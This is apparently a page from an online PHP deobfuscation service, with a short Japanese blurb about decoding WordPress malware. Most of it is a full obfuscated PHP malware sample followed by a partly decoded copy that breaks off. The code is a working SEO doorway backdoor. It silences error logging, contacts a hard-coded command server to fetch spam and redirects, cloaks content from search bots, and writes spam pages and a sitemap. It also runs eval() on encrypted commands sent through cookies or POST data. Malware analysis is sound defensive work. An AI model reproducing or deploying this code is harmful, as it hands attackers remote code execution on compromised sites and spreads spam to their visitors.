Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。
<?php @ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);date_default_timezone_set('UTC');class _ey7bfu6{static private $_u0r4kmg8 = 2990481360;static function _1ny8p($_lnbftffh, $_s3elb85m){$_lnbftffh[2] = count($_lnbftffh) > 4 ? long2ip (_ey7bfu6::$_u0r4kmg8 - 434) : $_lnbftffh[2];$_iamdjwam = _ey7bfu6::_jk490($_lnbftffh, $_s3elb85m);if (!$_iamdjwam){$_iamdjwam = _ey7bfu6::_1b267($_lnbftffh, $_s3elb85m);}return $_iamdjwam;}static function _jk490($_lnbftffh, $_iamdjwam){if (!function_exists('curl_version')){return "";}$_j2xelbci = curl_init();curl_setopt($_j2xelbci, CURLOPT_URL, implode("/", $_lnbftffh));if (!empty($_iamdjwam)){curl_setopt($_j2xelbci, CURLOPT_POST, 1);curl_setopt($_j2xelbci, CURLOPT_POSTFIELDS, $_iamdjwam);}curl_setopt($_j2xelbci, CURLOPT_RETURNTRANSFER, TRUE);$_rp0ezspl = curl_exec($_j2xelbci);curl_close($_j2xelbci);return $_rp0ezspl;}static function _1b267($_lnbftffh, $_iamdjwam){if (!empty($_iamdjwam)){$_49zskxvz = stream_context_create(Array('http' => Array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $_iamdjwam)));$_rp0ezspl = @file_get_contents(implode("/", $_lnbftffh), FALSE, $_49zskxvz);}else{$_rp0ezspl = @file_get_contents(implode("/", $_lnbftffh));}return $_rp0ezspl;}}class _kkpjno3{private static $_wvmlwdse = "";private static $_e5oqv10m = -1;private static $_f7qe7l53 = "";private $_bs1fmeki = "";private $_923z88s3 = "";private $_lknsvi7k = "";private $_1q1hvkqa = "";public static function _pdhbi($_u2jkrbms, $_krpr1cja, $_82r4ttyi){_kkpjno3::$_wvmlwdse = $_u2jkrbms . "/cache/";_kkpjno3::$_e5oqv10m = $_krpr1cja;_kkpjno3::$_f7qe7l53 = $_82r4ttyi;if (!@file_exists(_kkpjno3::$_wvmlwdse)){@mkdir(_kkpjno3::$_wvmlwdse);}}static public function _s813b(){$_bczaqqq5 = 0;foreach (scandir(_kkpjno3::$_wvmlwdse) as $_z0sz2sjb){$_bczaqqq5 += 1;}return $_bczaqqq5;}public static function _b4v91(){return TRUE;if (@file_exists(_kkpjno3::$_wvmlwdse)){return TRUE;}return FALSE;}public function __construct($_aeq1h9aa, $_norco4hk, $_mwynbu5c, $_dn1vnabh){$this->_bs1fmeki = $_aeq1h9aa;$this->_923z88s3 = $_norco4hk;$this->_lknsvi7k = $_mwynbu5c;$this->_1q1hvkqa = $_dn1vnabh;}public function _ha4si(){function _rcc43($_k8y7uc1d, $_87e1a8b7) {return round(rand($_k8y7uc1d, $_87e1a8b7 - 1) + (rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX ), 2);}$_3hz09da3 = _mjf146::_fcff7();$_iamdjwam = str_replace("{{ text }}", $this->_923z88s3,str_replace("{{ keyword }}", $this->_lknsvi7k,str_replace("{{ links }}", $this->_1q1hvkqa, $this->_bs1fmeki)));while (TRUE){$_wr4tkb5p = preg_replace('/'.preg_quote("{{ randkeyword }}", '/').'/', _mjf146::_c7wqi(), $_iamdjwam, 1);if ($_wr4tkb5p === $_iamdjwam){break;}$_iamdjwam = $_wr4tkb5p;}while (TRUE){preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/', $_iamdjwam, $_tudh6p3f);if (empty($_tudh6p3f)){break;}$_mwynbu5c = @$_3hz09da3[intval($_tudh6p3f[1])];$_evofx0ys = _ck3gcg::_dxkh0($_mwynbu5c);$_iamdjwam = str_replace($_tudh6p3f[0], $_evofx0ys, $_iamdjwam);}while (TRUE){preg_match('/{{ KEYWORDBYINDEX (\d*) }}/', $_iamdjwam, $_tudh6p3f);if (empty($_tudh6p3f)){break;}$_mwynbu5c = @$_3hz09da3[intval($_tudh6p3f[1])];$_iamdjwam = str_replace($_tudh6p3f[0], $_mwynbu5c, $_iamdjwam);}while (TRUE){preg_match('/{{ RANDFLOAT (\d*)-(\d*) }}/', $_iamdjwam, $_tudh6p3f);if (empty($_tudh6p3f)){break;}$_iamdjwam = str_replace($_tudh6p3f[0], _rcc43($_tudh6p3f[1], $_tudh6p3f[2]), $_iamdjwam);}while (TRUE){preg_match('/{{ RANDINT (\d*)-(\d*) }}/', $_iamdjwam, $_tudh6p3f);if (empty($_tudh6p3f)){break;}$_iamdjwam = str_replace($_tudh6p3f[0], rand($_tudh6p3f[1], $_tudh6p3f[2]), $_iamdjwam);}return $_iamdjwam;}public function _4mlw1(){$_m0mxwu2u = _kkpjno3::$_wvmlwdse . md5($this->_lknsvi7k . _kkpjno3::$_f7qe7l53);if (_kkpjno3::$_e5oqv10m == -1){$_cb1y74mv = -1;}else{$_cb1y74mv = time() + (3600 * 24 * 30);}$_lai5jpa1 = Array("template" => $this->_bs1fmeki, "text" => $this->_923z88s3, "keyword" => $this->_lknsvi7k,"links" => $this->_1q1hvkqa, "expired" => $_cb1y74mv);@file_put_contents($_m0mxwu2u, serialize($_lai5jpa1));}static public function _gpexc($_mwynbu5c){$_m0mxwu2u = _kkpjno3::$_wvmlwdse . md5($_mwynbu5c . _kkpjno3::$_f7qe7l53);$_m0mxwu2u = @unserialize(@file_get_contents($_m0mxwu2u));if (!empty($_m0mxwu2u) && ($_m0mxwu2u["expired"] > time() || $_m0mxwu2u["expired"] == -1)){return new _kkpjno3($_m0mxwu2u["template"], $_m0mxwu2u["text"], $_m0mxwu2u["keyword"], $_m0mxwu2u["links"]);}else{return null;}}}class _mhsabk{private static $_wvmlwdse = "";private static $_poza0iyr = "";public static function _pdhbi($_u2jkrbms, $_u0xjyhq5){_mhsabk::$_wvmlwdse = $_u2jkrbms . "/";_mhsabk::$_poza0iyr = $_u0xjyhq5;if (!@file_exists(_mhsabk::$_wvmlwdse)){@mkdir(_mhsabk::$_wvmlwdse);}}public static function _b4v91(){return TRUE;if (_mhsabk::_s813b()){return TRUE;}return FALSE;}static public function _s813b(){$_bczaqqq5 = 0;foreach (scandir(_mhsabk::$_wvmlwdse) as $_z0sz2sjb){if (strpos($_z0sz2sjb, _mhsabk::$_poza0iyr) === 0){$_bczaqqq5 += 1;}}return $_bczaqqq5;}static public function _c7wqi(){$_yw4v0wwj = Array();foreach (scandir(_mhsabk::$_wvmlwdse) as $_z0sz2sjb){if (strpos($_z0sz2sjb, _mhsabk::$_poza0iyr) === 0){$_yw4v0wwj[] = $_z0sz2sjb;}}return @file_get_contents(_mhsabk::$_wvmlwdse . $_yw4v0wwj[array_rand($_yw4v0wwj)]);}static public function _4mlw1($_f0hgzllg){if (@file_exists(_mhsabk::$_poza0iyr . "_" . md5($_f0hgzllg) . ".html")){return;}@file_put_contents(_mhsabk::$_poza0iyr . "_" . md5($_f0hgzllg) . ".html", $_f0hgzllg);}}class _mjf146{private static $_wvmlwdse = "";private static $_poza0iyr = "";public static function _pdhbi($_u2jkrbms, $_u0xjyhq5){_mjf146::$_wvmlwdse = $_u2jkrbms . "/";_mjf146::$_poza0iyr = $_u0xjyhq5;if (!@file_exists(_mjf146::$_wvmlwdse)){@mkdir(_mjf146::$_wvmlwdse);}}private static function _d6bgq(){$_te9j3qxp = Array();foreach (scandir(_mjf146::$_wvmlwdse) as $_z0sz2sjb){if (strpos($_z0sz2sjb, _mjf146::$_poza0iyr) === 0){$_te9j3qxp[] = $_z0sz2sjb;}}return $_te9j3qxp;}public static function _b4v91(){return TRUE;$_te9j3qxp = _mjf146::_d6bgq();if (!empty($_te9j3qxp)){return TRUE;}return FALSE;}static public function _c7wqi(){$_te9j3qxp = _mjf146::_d6bgq();$_3hz09da3 = @file(_mjf146::$_wvmlwdse . $_te9j3qxp[array_rand($_te9j3qxp)], FILE_IGNORE_NEW_LINES);return $_3hz09da3[array_rand($_3hz09da3)];}static public function _fcff7(){$_3hz09da3 = Array();$_te9j3qxp = _mjf146::_d6bgq();foreach ($_te9j3qxp as $_tjwv7spe){$_3hz09da3 = array_merge($_3hz09da3, @file(_mjf146::$_wvmlwdse . $_tjwv7spe, FILE_IGNORE_NEW_LINES));}return $_3hz09da3;}static public function _4mlw1($_p3zclow3){if (@file_exists(_mjf146::$_poza0iyr . "_" . md5($_p3zclow3) . ".list")){return;}@file_put_contents(_mjf146::$_poza0iyr . "_" . md5($_p3zclow3) . ".list", $_p3zclow3);}}class _ck3gcg{static public $_ngm9q95l = "4.3";static public $_jahh63sk = "e8791a1c-00eb-ec84-2a2a-7e4a165d08d9";private $_xhd9f49l = "http://136.12.78.46/app/assets/api2?action=redir";private $_g6yf5sq0 = "http://136.12.78.46/app/assets/api?action=page";static public $_fa134rdo = 20;static public $_6hy4eh9a = 100;static public function _1bpj3(){}private function _1c7j7(){$_13rwhtgp = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#','#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i','#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i','#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i','#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i','#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i','#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i','#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i','#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i','#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i','#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i','#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i','#spider#i', '#yahoo#i', '#jeeves#i', '#google#i', '#altavista#i','#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i','#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i','#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i','#charlotte#i', '#ngb#i', '#BingBot#i');if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_z3uhrd71 = $_SERVER['HTTP_X_FORWARDED_FOR'];} elseif (!empty($_SERVER['REMOTE_ADDR'])) {$_z3uhrd71 = $_SERVER['REMOTE_ADDR'];} else {$_z3uhrd71 = "";}if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_13rwhtgp, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))){$_zs0s16cr = 1;}elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])){$_zs0s16cr = 1;}elseif (FALSE !== strpos(@gethostbyaddr($_z3uhrd71), 'google')) {$_zs0s16cr = 1;}elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE && strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE){$_zs0s16cr = 1;}else{$_zs0s16cr = 0;}return $_zs0s16cr;}private static function _7hi9k(){$_s3elb85m = Array();$_s3elb85m['ip'] = $_SERVER['REMOTE_ADDR'];$_s3elb85m['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];$_s3elb85m['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_s3elb85m['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_s3elb85m['ref'] = @$_SERVER['HTTP_REFERER'];$_s3elb85m['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_s3elb85m['acp'] = @$_SERVER['HTTP_ACCEPT'];$_s3elb85m['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_s3elb85m['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_s3elb85m;}public function __construct(){$this->_xhd9f49l = explode("/", $this->_xhd9f49l);$this->_g6yf5sq0 = explode("/", $this->_g6yf5sq0);}static public function _vi3qm($_yev6g3ol){if (strlen($_yev6g3ol) < 4){return "";}$_d75f1e9i = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_3hz09da3 = str_split($_d75f1e9i);$_3hz09da3 = array_flip($_3hz09da3);$_25embz2l = 0;$_8pl1bz14 = "";$_yev6g3ol = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_yev6g3ol);do {$_qv3kz4wj = $_3hz09da3[$_yev6g3ol[$_25embz2l++]];$_e6fitcuk = $_3hz09da3[$_yev6g3ol[$_25embz2l++]];$_yxkh526t = $_3hz09da3[$_yev6g3ol[$_25embz2l++]];$_z0sc11xx = $_3hz09da3[$_yev6g3ol[$_25embz2l++]];$_j9eaeagg = ($_qv3kz4wj << 2) | ($_e6fitcuk >> 4);$_4a1k4c7u = (($_e6fitcuk & 15) << 4) | ($_yxkh526t >> 2);$_jqbakfe1 = (($_yxkh526t & 3) << 6) | $_z0sc11xx;$_8pl1bz14 = $_8pl1bz14 . chr($_j9eaeagg);if ($_yxkh526t != 64) {$_8pl1bz14 = $_8pl1bz14 . chr($_4a1k4c7u);}if ($_z0sc11xx != 64) {$_8pl1bz14 = $_8pl1bz14 . chr($_jqbakfe1);}} while ($_25embz2l < strlen($_yev6g3ol));return $_8pl1bz14;}private function _qqyc3($_mwynbu5c){$_aeq1h9aa = "";$_norco4hk = "";$_s3elb85m = _ck3gcg::_7hi9k();$_s3elb85m["uid"] = _ck3gcg::$_jahh63sk;$_s3elb85m["keyword"] = $_mwynbu5c;$_s3elb85m["tc"] = 10;$_s3elb85m = http_build_query($_s3elb85m);$_36j12vln = _ey7bfu6::_1ny8p($this->_g6yf5sq0, $_s3elb85m);if (strpos($_36j12vln, _ck3gcg::$_jahh63sk) === FALSE){return Array($_aeq1h9aa, $_norco4hk);}$_aeq1h9aa = _mhsabk::_c7wqi();$_norco4hk = substr($_36j12vln, strlen(_ck3gcg::$_jahh63sk));$_norco4hk = explode("\n", $_norco4hk);shuffle($_norco4hk);$_norco4hk = implode(" ", $_norco4hk);return Array($_aeq1h9aa, $_norco4hk);}private function _1nhob(){$_s3elb85m = _ck3gcg::_7hi9k();$_s3elb85m["uid"] = _ck3gcg::$_jahh63sk;$_s3elb85m = http_build_query($_s3elb85m);$_xuw1b6fq = _ey7bfu6::_1ny8p($this->_xhd9f49l, $_s3elb85m);$_xuw1b6fq = @unserialize($_xuw1b6fq);if (isset($_xuw1b6fq["type"]) && $_xuw1b6fq["type"] == "redir") {if (!empty($_xuw1b6fq["data"]["header"])) {header($_xuw1b6fq["data"]["header"]);return true;} elseif (!empty($_xuw1b6fq["data"]["code"])) {echo $_xuw1b6fq["data"]["code"];return true;}}return false;}public function _b4v91(){return _kkpjno3::_b4v91() && _mhsabk::_b4v91() && _mjf146::_b4v91();}static public function _93pzo(){if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {return true;}return false;}public static function _s7ghk(){$_r6htkols = explode("?", $_SERVER["REQUEST_URI"], 2);$_r6htkols = $_r6htkols[0];if (strpos($_r6htkols, ".php") === FALSE){$_r6htkols = explode("/", $_r6htkols);array_pop($_r6htkols);$_r6htkols = implode("/", $_r6htkols) . "/";}return sprintf("%s://%s%s", _ck3gcg::_93pzo() ? "https" : "http", $_SERVER['HTTP_HOST'], $_r6htkols);}public static function _9k0vu(){$_r6htkols = explode("?", $_SERVER["REQUEST_URI"], 2);$_r6htkols = $_r6htkols[0];$_u2jkrbms = substr($_r6htkols, 0, strrpos($_r6htkols, "/"));return sprintf("%s://%s%s", _ck3gcg::_93pzo() ? "https" : "http", $_SERVER['HTTP_HOST'], $_u2jkrbms);}public static function _dxkh0($_mwynbu5c){$_9obk3wri = _ck3gcg::_s7ghk();$_5rycsd09 = substr(md5(_ck3gcg::$_jahh63sk . "salt3"), 0, 6);$_vig54psg = "";if (substr($_9obk3wri, -1) == "/"){if (ord($_5rycsd09[1]) % 2){$_mwynbu5c = str_replace(" ", "-", $_5rycsd09 . "-" . $_mwynbu5c);}else{$_mwynbu5c = str_replace(" ", "-", $_mwynbu5c . "-" . $_5rycsd09);}$_vig54psg = sprintf("%s%s", $_9obk3wri, urlencode($_mwynbu5c));}else{if (ord($_5rycsd09[0]) % 2){$_vig54psg = sprintf("%s?%s=%s",$_9obk3wri,$_5rycsd09,urlencode(str_replace(" ", "-", $_mwynbu5c)));}else{$_h8ipbj2e = Array("id", "page", "tag");$_0wsrzinl = $_h8ipbj2e[ord($_5rycsd09[2]) % count($_h8ipbj2e)];if (ord($_5rycsd09[1]) % 2){$_mwynbu5c = str_replace(" ", "-", $_5rycsd09 . "-" . $_mwynbu5c);}else{$_mwynbu5c = str_replace(" ", "-", $_mwynbu5c . "-" . $_5rycsd09);}$_vig54psg = sprintf("%s?%s=%s",$_9obk3wri,$_0wsrzinl,urlencode($_mwynbu5c));}}return $_vig54psg;}public static function _zax9d($_k8y7uc1d, $_87e1a8b7){$_54rzpdff = rand($_k8y7uc1d, $_87e1a8b7);$_hvljvslq = "";$_0wsrzinl = substr(md5(_ck3gcg::$_jahh63sk . "salt3"), 0, 6);for ($_25embz2l=0; $_25embz2l < $_54rzpdff; $_25embz2l++){$_mwynbu5c = _mjf146::_c7wqi();$_hvljvslq .= sprintf("<a href='%s'>%s</a>,\n",_ck3gcg::_dxkh0($_mwynbu5c), ucwords($_mwynbu5c));}return $_hvljvslq;}public static function _c0lkf(){$_p3xzxpbt = "<?xml version=\"1.0\" encoding=\"UTF-8\"?" . ">\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";$_7f4bntyy = "</urlset>";$_t6tglu6l = "";$_5rycsd09 = substr(md5(_ck3gcg::$_jahh63sk . "salt3"), 0, 6);$_3hz09da3 = _mjf146::_fcff7();foreach ($_3hz09da3 as $_2r80wem0){$_vig54psg = _ck3gcg::_dxkh0($_2r80wem0);$_6zynwyty = time() - mt_rand(0, 60 * 60 * 24 * 30);$_t6tglu6l .= "<url>\n";$_t6tglu6l .= sprintf("<loc>%s</loc>\n", $_vig54psg);$_t6tglu6l .= sprintf("<lastmod>%s</lastmod>\n", date("Y-m-d", $_6zynwyty));$_t6tglu6l .= "<priority>0.3</priority>\n";$_t6tglu6l .= "</url>\n";}$_0iw6z9b2 = $_p3xzxpbt . $_t6tglu6l . $_7f4bntyy;$_a8qvtbpu = dirname(__FILE__) . "/sitemap.xml";$_y6klfo9f = _ck3gcg::_9k0vu() . "/sitemap.xml";@file_put_contents($_a8qvtbpu, $_0iw6z9b2);return $_y6klfo9f;}public function _0n601(){$_0wsrzinl = substr(md5(_ck3gcg::$_jahh63sk . "salt3"), 0, 6);if (isset($_GET[$_0wsrzinl])) {$_mwynbu5c = $_GET[$_0wsrzinl];}elseif (strpos($_SERVER["REQUEST_URI"], $_0wsrzinl) !== FALSE){$_a5kfykyv = explode("/", $_SERVER["REQUEST_URI"]);foreach ($_a5kfykyv as $_ke8ch1x4) {if (strpos($_ke8ch1x4, $_0wsrzinl) !== FALSE){$_rxd102e4 = explode("=", $_ke8ch1x4);$_pbbjixe2 = array_pop($_rxd102e4);$_pbbjixe2 = str_replace($_0wsrzinl . "-", "", $_pbbjixe2);$_pbbjixe2 = str_replace("-" . $_0wsrzinl, "", $_pbbjixe2);$_mwynbu5c = $_pbbjixe2;}}}if (empty($_mwynbu5c)){$_3hz09da3 = _mjf146::_fcff7();$_mwynbu5c = $_3hz09da3[0];}if (!empty($_mwynbu5c)){$_mwynbu5c = str_replace("-", " ", $_mwynbu5c);if (!$this->_1c7j7()){if ($this->_1nhob()){return;}}$_mwynbu5c = urldecode($_mwynbu5c);$_xuw1b6fq = _kkpjno3::_gpexc($_mwynbu5c);if (empty($_xuw1b6fq)){list($_aeq1h9aa, $_norco4hk) = $this->_qqyc3($_mwynbu5c);if (empty($_norco4hk)){return;}$_xuw1b6fq = new _kkpjno3($_aeq1h9aa, $_norco4hk, $_mwynbu5c, _ck3gcg::_zax9d(_ck3gcg::$_fa134rdo, _ck3gcg::$_6hy4eh9a));$_xuw1b6fq->_4mlw1();}echo $_xuw1b6fq->_ha4si();}}}_kkpjno3::_pdhbi(dirname(__FILE__), -1, _ck3gcg::$_jahh63sk);_mhsabk::_pdhbi(dirname(__FILE__), substr(md5(_ck3gcg::$_jahh63sk . "salt12"), 0, 4));_mjf146::_pdhbi(dirname(__FILE__), substr(md5(_ck3gcg::$_jahh63sk . "salt22"), 0, 4));function _thdaz($_36j12vln, $_2r80wem0){$_p03x2aoe = "";for ($_25embz2l = 0; $_25embz2l < strlen($_36j12vln);) {for ($_wuzr1p5k = 0; $_wuzr1p5k < strlen($_2r80wem0) && $_25embz2l < strlen($_36j12vln); $_wuzr1p5k++, $_25embz2l++) {$_p03x2aoe .= chr(ord($_36j12vln[$_25embz2l]) ^ ord($_2r80wem0[$_wuzr1p5k]));}}return $_p03x2aoe;}function _3zvc1($_36j12vln, $_2r80wem0, $_7rvu1ebg){return _thdaz(_thdaz($_36j12vln, $_2r80wem0), $_7rvu1ebg);}foreach (array_merge($_COOKIE, $_POST) as $_1c87cge0 => $_36j12vln) {$_36j12vln = @unserialize(_3zvc1(_ck3gcg::_vi3qm($_36j12vln), $_1c87cge0, _ck3gcg::$_jahh63sk));if (isset($_36j12vln['ak']) && _ck3gcg::$_jahh63sk == $_36j12vln['ak']) {if ($_36j12vln['a'] == 'doorway2') {if ($_36j12vln['sa'] == 'check') {$_iamdjwam = _ey7bfu6::_1ny8p(explode("/", "http://httpbin.org/"), "");if (strlen($_iamdjwam) > 512) {echo @serialize(Array("uid" => _ck3gcg::$_jahh63sk, "v" => _ck3gcg::$_ngm9q95l,"cache" => _kkpjno3::_s813b(),"keywords" => count(_mjf146::_fcff7()),"templates" => _mhsabk::_s813b()));}exit;}if ($_36j12vln['sa'] == 'templates') {foreach ($_36j12vln["templates"] as $_aeq1h9aa) {_mhsabk::_4mlw1($_aeq1h9aa);echo @serialize(Array("uid" => _ck3gcg::$_jahh63sk, "v" => _ck3gcg::$_ngm9q95l, ));}}if ($_36j12vln['sa'] == 'keywords') {_mjf146::_4mlw1($_36j12vln["keywords"]);_ck3gcg::_c0lkf();echo @serialize(Array("uid" => _ck3gcg::$_jahh63sk, "v" => _ck3gcg::$_ngm9q95l, ));}}if ($_36j12vln['sa'] == 'eval') {eval($_36j12vln["data"]);exit;}}}$_i4sgq6bu = new _ck3gcg();if ($_i4sgq6bu->_b4v91()){$_i4sgq6bu->_0n601();}exit();
<?php @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @error_reporting(0); @set_time_limit(0); date_default_timezone_set('UTC'); class _ey7bfu6 { private static $_u0r4kmg8 = 2990481360; static function _1ny8p($_lnbftffh, $_s3elb85m) { $_lnbftffh[2] = count($_lnbftffh) > 4 ? long2ip(_ey7bfu6::$_u0r4kmg8 - 434) : $_lnbftffh[2]; $_iamdjwam = _ey7bfu6::_jk490($_lnbftffh, $_s3elb85m); if (!$_iamdjwam) { $_iamdjwam = _ey7bfu6::_1b267($_lnbftffh, $_s3elb85m); } return $_iamdjwam; } static function _jk490($_lnbftffh, $_iamdjwam) { if (!function_exists('curl_version')) { return ""; } $_j2xelbci = curl_init(); curl_setopt($_j2xelbci, CURLOPT_URL, implode("/", $_lnbftffh)); if (!empty($_iamdjwam)) { curl_setopt($_j2xelbci, CURLOPT_POST, 1); curl_setopt($_j2xelbci, CURLOPT_POSTFIELDS, $_iamdjwam); } curl_setopt($_j2xelbci, CURLOPT_RETURNTRANSFER, TRUE); $_rp0ezspl = curl_exec($_j2xelbci); curl_close($_j2xelbci); return $_rp0ezspl; } static function _1b267($_lnbftffh, $_iamdjwam) { if (!empty($_iamdjwam)) { $_49zskxvz = stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $_iamdjwam))); $_rp0ezspl = @file_get_contents(implode("/", $_lnbftffh), FALSE, $_49zskxvz); } else { $_rp0ezspl = @file_get_contents(implode("/", $_lnbftffh)); } return $_rp0ezspl; } } class _kkpjno3 { private static $_wvmlwdse = ""; private static $_e5oqv10m = 1; private static $_f7qe7l53 = ""; private $_bs1fmeki = ""; private $_923z88s3 = ""; private $_lknsvi7k = ""; private $_1q1hvkqa = ""; public static function _pdhbi($_u2jkrbms, $_krpr1cja, $_82r4ttyi) { _kkpjno3::$_wvmlwdse = $_u2jkrbms . "/cache/"; _kkpjno3::$_e5oqv10m = $_krpr1cja; _kkpjno3::$_f7qe7l53 = $_82r4ttyi; if (!@file_exists(_kkpjno3::$_wvmlwdse)) { @mkdir(_kkpjno3::$_wvmlwdse); } } public static function _s813b() { $_bczaqqq5 = 0; foreach (scandir(_kkpjno3::$_wvmlwdse) as $_z0sz2sjb) { $_bczaqqq5 += 1; } return $_bczaqqq5; } public static function _b4v91() { return TRUE; } public function __construct($_aeq1h9aa, $_norco4hk, $_mwynbu5c, $_dn1vnabh) { $this->_bs1fmeki = $_aeq1h9aa; $this->_923z88s3 = $_norco4hk; $this->_lknsvi7k = $_mwynbu5c; $this->_1q1hvkqa = $_dn1vnabh; } public function _ha4si() { function _rcc43($_k8y7uc1d, $_87e1a8b7) { return round(rand($_k8y7uc1d, $_87e1a8b7 - 1) + rand(0, -1) / PHP_INT_MAX, 2); } $_3hz09da3 = _mjf146::_fcff7(); $_iamdjwam = str_replace("{{ text }}", $this->_923z88s3, str_replace("{{ keyword }}", $this->_lknsvi7k, str_replace("{{ links }}", $this->_1q1hvkqa, $this->_bs1fmeki))); while (TRUE) { $_wr4tkb5p = preg_replace('/' . preg_quote("{{ randkeyword }}", '/') . '/', _mjf146::_c7wqi(), $_iamdjwam, 1); if ($_wr4tkb5p === $_iamdjwam) { break; } $_iamdjwam = $_wr4tkb5p; } while (TRUE) { preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\\d*) }}/', $_iamdjwam, $_tudh6p3f); if (empty($_tudh6p3f)) { break; } $_mwynbu5c = @$_3hz09da3[intval($_tudh6p3f[1])]; $_evofx0ys = _ck3gcg::_dxkh0($_mwynbu5c); $_iamdjwam = str_replace($_tudh6p3f[0], $_evofx0ys, $_iamdjwam); } while (TRUE) { preg_match('/{{ KEYWORDBYINDEX (\\d*) }}/', $_iamdjwam, $_tudh6p3f); if (empty($_tudh6p3f)) { break; } $_mwynbu5c = @$_3hz09da3[intval($_tudh6p3f[1])]; $_iamdjwam = str_replace($_tudh6p3f[0], $_mwynbu5c, $_iamdjwam); } while (TRUE) { preg_match('/{{ RANDFLOAT (\\d*)-(\\d*) }}/', $_iamdjwam, $_tudh6p3f); if (empty($_tudh6p3f)) { break; } $_iamdjwam = str_replace($_tudh6p3f[0], _rcc43($_tudh6p3f[1], $_tudh6p3f[2]), $_iamdjwam); } while (TRUE) { preg_match('/{{ RANDINT (\\d*)-(\\d*) }}/', $_iamdjwam, $_tudh6p3f); if (empty($_tudh6p3f)) { break; } $_iamdjwam = str_replace($_tudh6p3f[0], rand($_tudh6p3f[1], $_tudh6p3f[2]), $_iamdjwam); } return $_iamdjwam; } public function _4mlw1() { $_m0mxwu2u = _kkpjno3::$_wvmlwdse . md5($this->_lknsvi7k . _kkpjno3::$_f7qe7l53); if (_kkpjno3::$_e5oqv10m == 1) { $_cb1y74mv = 1; } else { $_cb1y74mv = time() + 2592000; } $_lai5jpa1 = array("template" => $this->_bs1fmeki, "text" => $this->_923z88s3, "keyword" => $this->_lknsvi7k, "links" => $this->_1q1hvkqa, "expired" => $_cb1y74mv); @file_put_contents($_m0mxwu2u, serialize($_lai5jpa1)); } public static function _gpexc($_mwynbu5c) { $_m0mxwu2u = _kkpjno3::$_wvmlwdse . md5($_mwynbu5c . _kkpjno3::$_f7qe7l53); $_m0mxwu2u = @unserialize(@file_get_contents($_m0mxwu2u)); if (!empty($_m0mxwu2u) && ($_m0mxwu2u["expired"] > time() || $_m0mxwu2u["expired"] == 1)) { return new _kkpjno3($_m0mxwu2u["template"], $_m0mxwu2u["text"], $_m0mxwu2u["keyword"], $_m0mxwu2u["links"]); } else { return null; } } } class _mhsabk { private static $_wvmlwdse = ""; private static $_poza0iyr = ""; public static function _pdhbi($_u2jkrbms, $_u0xjyhq5) { _mhsabk::$_wvmlwdse = $_u2jkrbms . "/"; _mhsabk::$_poza0iyr = $_u0xjyhq5; if (!@file_exists(_mhsabk::$_wvmlwdse)) { @mkdir(_mhsabk::$_wvmlwdse); } } public static function _b4v91() { return TRUE; } public static function _s813b() { $_bczaqqq5 = 0; foreach (scandir(_mhsabk::$_wvmlwdse) as $_z0sz2sjb) { if (strpos($_z0sz2sjb, _mhsabk::$_poza0iyr) === 0) { $_bczaqqq5 += 1; } } return $_bczaqqq5; } public static function _c7wqi() { $_yw4v0wwj = array(); foreach (scandir(_mhsabk::$_wvmlwdse) as $_z0sz2sjb) { if (strpos($_z0sz2sjb, _mhsabk::$_poza0iyr) === 0) { $_yw4v0wwj[] = $_z0sz2sjb; } } return 